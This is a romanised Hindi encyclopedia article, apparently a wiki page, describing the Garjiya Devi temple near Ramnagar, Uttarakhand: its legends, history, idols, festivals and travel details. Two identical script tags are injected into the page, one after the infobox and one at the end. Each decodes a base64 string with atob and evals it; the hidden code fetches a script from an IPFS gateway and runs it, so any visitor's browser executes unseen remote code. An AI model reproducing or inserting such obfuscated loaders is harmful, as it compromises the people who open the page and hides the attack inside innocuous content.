गर्जिया देवी मन्दिर

garjiya devi mandir
'garjiya devi mandir', uttarakhand|200px|center
vivaran	'garjiya devi mandir' uttarakhand ke pramukh dharmik sthaloan mean se ek hai. maan girija devi ke nam par hi is mandir ko 'garjiya devi mandir' kaha jata hai.
rajy	uttarakhand
sthiti	ramanagar, uttarakhand se lagabhag 15 kilomitar ki doori par.
dharmik manyata	bhaktoan ki manokamana poorn hone par ve mandir mean ghanti ya chhatr adi chadhate haian.
vishesh	navaratr tatha ganga snan par hazaroan ki sankhya mean shraddhalu yahaan ate haian. anuman hai ki varsh bhar mean paanch lakh se bhi zyada shraddhalu yahaan ate haian.
any janakari	mandir mean pahuanchane se pahale shraddhalu kosi nadi mean snan karate haian. nadi se mandir tak jane ke liye 90 sidhiyaan chadhani p dati haian. darshan ke bad shraddhalu bhairoan mandir, shiv mandir ke darshan karate haian tatha khich di chadhate haian.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

garjiya devi mandir ya 'girija devi mandir' uttarakhand ke suandarakhal gaanv mean sthit hai, jo mata parvati ke pramukh mandiroan mean se ek hai. yah mandir shraddha evan vishvas ka adbhut udaharan hai. uttarakhand ka yah prasiddh mandir ramanagar se lagabhag 15 kilomitar ki doori par sthit hai. mandir chhoti paha di ke oopar bana hua hai, jahaan ka khoobasoorat vatavaran shaanti evan ramaniyata ka ehasas dilata hai. devi ke prasiddh mandiroan mean girija devi (garjiya devi) ka sthan advitiy hai. giriraj himalay ki putri hone ke karan hi inhean is nam se pukara jata hai. manyata hai ki jin mandiroan mean devi vaishnavi ke roop mean sthit hoti haian, unaki pooja pushp prasad se ki jati hai aur jahaan shiv shakti ke roop mean hoti haian, vahaan balidan ka pravadhan hai.

itihas

puratatvavettaoan ka kathan hai ki koormaanchal ki sabase prachin basti dhikuli ke pas thi, jahaan par vartaman ramanagar basa hua hai. kosi nadi ke kinare basi isi nagari ka nam tab 'vairat pattan' ya 'vairat nagar' tha. katyoori rajaoan ke ane ke poorv yahaan pahale kuru rajavansh ke raja rajy karate the, jo prachin indraprasth (adhunik dilli) ke samrajy ki chhatrachhaya mean rahate the. dhikuli, garjiya kshetr ka lagabhag 3000 varshoan ka apana itihas raha hai. prakhyat katyoori rajavansh, chandr rajavansh, gorakha vansh aur aangrez shasakoan ne yahaan ki pavitr bhoomi ka sukh bhoga hai. garjiya namak shakti sthal san 1940 se pahale upekshit avastha mean tha, kintu 1940 se pahale ki bhi anek dantashrutiyaan is sthan ka itihas batati haian. varsh 1940 se poorv is mandir ki sthiti aj jaisi nahian thi, kalantar mean is devi ko upata devi (uparadyauan) ke nam se jana jata tha. tatkalin janamanas ki dharana thi ki vartaman garjiya mandir jis tile mean sthit hai, vah kosi nadi ki badh mean kahian oopari kshetr se bahakar a raha tha. mandir ko tile ke sath bahate huye ata dekhakar bhairav dev dvara use rokane ke prayas se kaha gaya- "thi rau, baina thi rau" arthath 'thaharo, bahan thaharo', yahaan par mere sath nivas karo. tabhi se garjiya mean devi upata mean nivas kar rahi haian.

dharmik manyata

manyata hai ki varsh 1940 se poorv yah kshetr bhayankar jangaloan se bhara p da tha. sarvapratham jangal vibhag ke tatkalin karmachariyoan tatha sthaniy chhut-put nivasiyoan dvara tile par moortiyoan ko dekha gaya aur unhean mata jagajanani ki is sthan par upasthiti ka ehasas hua. ekant sunasan jangali kshetr, tile ke niche bahati kosi nadi ki prabal dhara, ghas-phoos ki sahayata se oopar tile tak chadhana, jangali janavaroan ki bhayankar garjana ke bavajood bhi bhaktajan is sthan par maan ke darshanoan ke liye ane lage. jangal ke tatkalin b de adhikari bhi yahaan par aye the. kaha jata hai ki tile ke pas maan durga ka vahan sher bhayankar garjana kiya karata tha. kee bar sher ko is tile ki parikrama karate huye bhi logoan dvara dekha gaya.

mahattv

bhagavan shiv ki ardhaangini maan parvati ka ek nam 'girija' bhi hai. giriraj himalay ki putri hone ke karan unhean is nam se bulaya jata hai. garjiya devi mandir mean maan girija devi satoguni roop mean vidyaman haian, jo sachchi shraddha se hi prasann ho jati haian. yahaan par jata nariyal, lal vastr, sindoor, dhoop, dip adi chadha kar maan ki vandana ki jati hai. manokamana poorn hone par shraddhalu ghanti ya chhatr adi chadhate haian. nav-vivahit striyaan yahaan par akar atal suhag ki kamana karati haian. niahsantan danpatti santan prapti ke liye mata ke charanoan mean jholi phailate haian.

moorti

vartaman mean is mandir mean garjiya mata ki 4.5 phit ooanchi moorti sthapit haian isake sath hi mata sarasvati, ganesh tatha batuk bhairav ki sangamaramar ki moortiyaan bhi mukhy moorti ke sath sthapit haian. isi parisar mean ek lakshmi narayan mandir bhi sthapit hai. is mandir mean sthapit moorti yahian par huee khudaee ke dauran mili thi.

bhaktoan ka agaman

kartik poornima ko ganga mean snan ke pavan parv par mata girija devi ke darshanoan evan patit pavani kaushiki (kosi) nadi mean snanarth bhaktoan ki bhari sankhya mean bhi d um dati hai. isake atirikt ganga dashahara, nav durga, shivaratri, uttarayani, basant panchami mean bhi kafi sankhya mean darshanarthi ate haian. pooja ke vidhan ke antargat mata girija ki pooja karane ke uparant baba bhairav (jo mata ke mool mean sansthit hai) ko chaval aur mas (u dad) ki dal chadhakar pooja-archana karana avashyak mana jata hai. kaha jata hai ki bhairav ki pooja ke bad hi maan girija ki pooja ka sampoorn phal prapt hota hai.

any mahattvapoorn tathy

1. 1956 mean kosi nadi mean badh ke karan mandir ki sabhi moortiyaan bah gee thian. pandit poornachandr pande ne phir se isaki sthapana kar mandir ko bhavyata pradan ki.
2. mandir mean pahuanchane se pahale shraddhalu kosi nadi mean snan karate haian. nadi se mandir tak jane ke liye 90 sidhiyaan chadhani p dati haian.
3. yahaan ane vale shraddhalu prasad, ghanta, chaandi ka chhatr adi chadhate haian. bahut-se log apani manokamana ke liye bavad ki gaanth bhi baandhate haian.
4. devi darshan ke bad shraddhalu bhairoan mandir, shiv mandir ke darshan karate haian tatha khich di chadhate haian.
5. san 1971 mean mandir samiti ka gathan kiya gaya tha, jo sari vyavasthaean karati haian.
6. varsha ke dinoan mean nadi mean tej bahav ke karan log mandir mean nahian ja pate.
7. navaratr tatha ganga snan par hazaroan ki sankhya mean shraddhalu yahaan ate haian. anuman hai ki varsh bhar mean paanch lakh se bhi zyada shraddhalu yahaan ate haian.
8. 'jim korbet rashtriy park' ane vale paryatakoan ki avajahi ke karan bhi yah paryatan sthal banata ja raha hai. sarakar tatha paryatan vibhag dvara is or sakaratmak prayas bhi kiye gaye haian.

kaise pahuanchean

ramanagar tak rel aur bas seva upalabdh hai, usase age ke liye taiksi aram se mil jati hai. ramanagar mean rahane aur khane ke liye bhi kee stariy hotal upalabdh haian. yatri yahaan se jim korbet rashtriy park bhi ja sakate haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>